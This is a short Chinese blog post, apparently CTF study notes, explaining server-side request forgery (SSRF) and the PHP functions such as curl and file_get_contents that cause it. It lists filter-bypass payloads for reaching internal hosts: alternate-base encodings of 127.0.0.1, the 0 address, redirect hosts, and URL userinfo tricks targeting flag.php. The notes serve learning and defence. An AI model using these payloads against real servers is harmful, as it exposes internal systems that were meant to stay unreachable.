SSRF

24 年 1 月 17 日 星期三
293 字
2 分钟

SSRF

SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。


PHP

在PHP中的curl(),file_get_contents(),fsockopen()等函数是几个主要产生ssrf漏洞的函数


  • curl()

形如:

curl(url)


  • file_get_contents()

形如:

file_get_contents($_POST['url']);


绕过

各种进制的内网地址

text
#默认

http://127.0.0.1
#16进制

http://0x7F000001
#10进制

((127*256+0)*256+0)*256+1//计算过程
http://2130706433
#8进制

http://0177.0000.0000.0001

302跳转绕过

text
http://spoofed.burpcollaborator.net/flag.php

短绕过

text
linux中 0 指向本机地址

payload: url=http://0/flag.php

重定向(如果代码只能读取远程url,可以用这个方法)

text
url=http://106.53.207.220/SSRFDNS.php

URL构成绕过

text
在 URL 构成中,username 是指用于身份验证的用户名。例如,在 HTTP Basic 认证中,可以使用类似以下的 URL 来进行身份验证:

http://user:[email protected]/

可以用来让url忽略一些重要部分比如url=http://ctf.:[email protected]/flag.php#show等效于127.0.0.1/flag.php

文章标题:SSRF

文章作者:huarui

文章链接:https://54huarui.online/posts/ssrf[复制]

最后修改时间:


商业转载请联系站长获得授权,非商业转载请注明本文出处及文章链接,您可以自由地在任何媒体以任何形式复制和分发作品,也可以修改和创作,但是分发衍生作品时必须采用相同的许可协议。
本文采用CC BY-NC-SA 4.0进行许可。